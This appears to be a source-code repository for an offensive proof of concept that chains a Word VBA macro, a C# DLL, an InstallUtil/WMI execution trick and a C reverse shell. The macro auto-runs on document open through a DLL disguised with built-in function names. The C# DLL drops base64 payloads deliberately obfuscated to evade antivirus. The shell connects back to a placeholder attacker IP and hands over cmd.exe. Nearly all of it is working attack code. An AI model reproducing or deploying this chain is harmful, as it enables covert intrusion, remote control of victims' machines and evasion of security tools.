├── CallDll.vba ├── README.md ├── wmiexec.cs ├── shell.cpp └── DateFunc.cs /CallDll.vba: -------------------------------------------------------------------------------- 1 | ' Why use DateDiff and DateAdd in naming, they are function allready defined? this confuse AV/EDR, naming still count in clear script like VBA 2 | 3 | Declare Function DateDiff Lib "C:\Windows\Tasks\DateFunc.dll" Alias "DateAdd" () As Integer 4 | 5 | Sub AutoOpen() 6 | res = DateDiff() 7 | End Sub 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # VBA-DLL-WMI-EXECUTION 2 | Call your own DLL from VBA and execute code under process svchost.exe with WMI 3 | 4 | This PoC show how one can create a DLL in C# and call it form VBA, the C# code is compiled with batch script described and entrypoint is inserted. 5 | 6 | It consist of 4 files 7 | 8 | VBA macro newmacros.vba 9 | C# code wmiexec.cs 10 | C# code DateAdd.cs 11 | C code shell.cpp 12 | 13 | Execution flow: VBA ---> DateAdd.dll ---> rundll32.exe shell32,Control_RunDLL C:\Windows\Tasks\shell.cpl 14 | 15 | Some note regarding embedded base64, the binary files wmiexec.exe and shell.cpl, I remove MZ / hex 4D5A from file header BEFORE 16 | creating base64 string with certutil -encode wmiexec.exe vmiexec.b64 17 | 18 | Edit vmiexec.b64 with notepad++ and replace fx / with # and insert ! or other character of choise. Do the same with shell.cpl 19 | 20 | Why all the fuzz ?, well you don't have to, but if one know what AV/EDR looks for, this is the first step when creating binary files. 21 | 22 | PoC vid: https://www.youtube.com/watch?v=0dEMQ_Iht98 23 | -------------------------------------------------------------------------------- /wmiexec.cs: -------------------------------------------------------------------------------- 1 | // Compiled with batch script and insert entrypoint in dll 2 | 3 | using System; 4 | using System.Management; 5 | using System.IO; 6 | 7 | 8 | public class Program 9 | { 10 | public static void Main() 11 | { 12 | 13 | } 14 | 15 | } 16 | 17 | // InstallUtil.exe catch this: 18 | [System.ComponentModel.RunInstaller(true)] 19 | public class Sample : System.Configuration.Install.Installer 20 | { 21 | 22 | public override void Uninstall(System.Collections.IDictionary savedState) 23 | { 24 | WMIexec.Run("rundll32.exe shell32,Control_RunDLL C:\\Windows\\Tasks\\shell.cpl"); 25 | } 26 | 27 | } 28 | 29 | public class WMIexec 30 | // when using WMI our code get executed svchost.exe not a subprocess from where is was called fx. WINWORD.EXE, CMD.EXE etc. 31 | { 32 | public static void Run(string cmd) 33 | { 34 | var cmdToRun = new[] { cmd }; 35 | var connection = new ConnectionOptions(); 36 | connection.Impersonation = ImpersonationLevel.Impersonate; 37 | connection.EnablePrivileges = true; 38 | var wmiScope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", "localhost"), connection); 39 | var wmiProcess = new ManagementClass(wmiScope, new ManagementPath("Win32_Process"), new ObjectGetOptions()); 40 | object result = wmiProcess.InvokeMethod("Create", cmdToRun); 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /shell.cpp: -------------------------------------------------------------------------------- 1 | // This reverse shell is very simple, no agents header nor encryption 2 | // Compile: mingw32-c++.exe shell.cpp -shared -o shell.cpl -static -lws2_32 3 | // change YOUR-PORT and YOUR-IP 4 | 5 | 6 | #include 7 | 8 | extern "C" __declspec(dllexport) LONG Main(HWND hwndCpl, UINT msg, LPARAM lParam1, LPARAM lParam2) 9 | { 10 | WSADATA wsaData; 11 | SOCKET s1; 12 | struct sockaddr_in hax; 13 | char ip_addr[16]; 14 | STARTUPINFO sui; 15 | PROCESS_INFORMATION pi; 16 | hax.sin_family = AF_INET; 17 | hax.sin_port = htons(YOUR-PORT); 18 | hax.sin_addr.s_addr = inet_addr("YOUR-IP"); 19 | WSAStartup(MAKEWORD(2, 2), &wsaData); 20 | s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL); 21 | WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); 22 | memset(&sui, 0, sizeof(sui)); 23 | sui.cb = sizeof(sui); 24 | sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW); 25 | sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) s1; 26 | TCHAR commandLine[256] = "cmd.exe"; 27 | CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi); 28 | return 1; 29 | } 30 | 31 | BOOL APIENTRY DllMain( HMODULE hModule, 32 | DWORD ul_reason_for_call, 33 | LPVOID lpReserved 34 | ) 35 | { 36 | switch (ul_reason_for_call) 37 | { 38 | case DLL_PROCESS_ATTACH: 39 | { 40 | Main(NULL, NULL, NULL, NULL); 41 | } 42 | case DLL_THREAD_ATTACH: 43 | case DLL_THREAD_DETACH: 44 | case DLL_PROCESS_DETACH: 45 | break; 46 | } 47 | return TRUE; 48 | } 49 | -------------------------------------------------------------------------------- /DateFunc.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Runtime.InteropServices; 4 | using System.IO; 5 | 6 | namespace Code 7 | { 8 | 9 | public class Program 10 | { 11 | // the function name exported with .export [1] DateAdd is called from VBA macro 12 | public static int DateAdd() 13 | { 14 | 15 | // shell.cpl payload - insert your own compiled code 16 | string FileStr0 = "uXuQAAMAAAAEA!AAA## --- CUT ---AA!!=!=!"; 17 | 18 | // wmiexec.exe payload - insert your own compiled code 19 | string FileStr1 = 20 | "EZqQAAMAAAAEA --- CUT --- AAAAAAAA!!=!"; 21 | 22 | // replace # with / and ! with 23 | string buffer = FileStr0.Replace("#", "/"); 24 | buffer = buffer.Replace("!", ""); 25 | Byte[] Fbytes0 = Convert.FromBase64String(buffer); 26 | File.WriteAllBytes("C:\\Windows\\Tasks\\shell.cpl", Fbytes0); 27 | // replace # with / and ! with 28 | buffer = FileStr1.Replace("#", "/"); 29 | buffer = buffer.Replace("!", ""); 30 | Byte[] Fbytes1 = Convert.FromBase64String(buffer); 31 | File.WriteAllBytes("C:\\Windows\\Tasks\\wmiexec.exe", Fbytes1); 32 | 33 | // replace the first two bytes with MZ 34 | byte [] buf = new byte [] {0x4d, 0x5a}; 35 | 36 | Stream stream = File.Open("C:\\Windows\\Tasks\\shell.cpl", FileMode.Open); 37 | stream.Position = 0; 38 | stream.Write(buf, 0, buf.Length); 39 | stream.Dispose(); 40 | stream = File.Open("C:\\Windows\\Tasks\\wmiexec.exe", FileMode.Open); 41 | stream.Position = 0; 42 | stream.Write(buf, 0, buf.Length); 43 | stream.Dispose(); 44 | 45 | //System.Windows.Forms.MessageBox.Show("Hello from C#"); 46 | 47 | // start InstallUtil.exe that execute our payload wmiexec.exe 48 | Process cmd = new Process(); 49 | cmd.StartInfo.FileName = @"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"; 50 | cmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; 51 | cmd.StartInfo.Arguments = @"/logfile= /LogToConsole=false /U C:\Windows\Tasks\wmiexec.exe"; 52 | cmd.Start(); 53 | return 0; 54 | } 55 | } 56 | } 57 | --------------------------------------------------------------------------------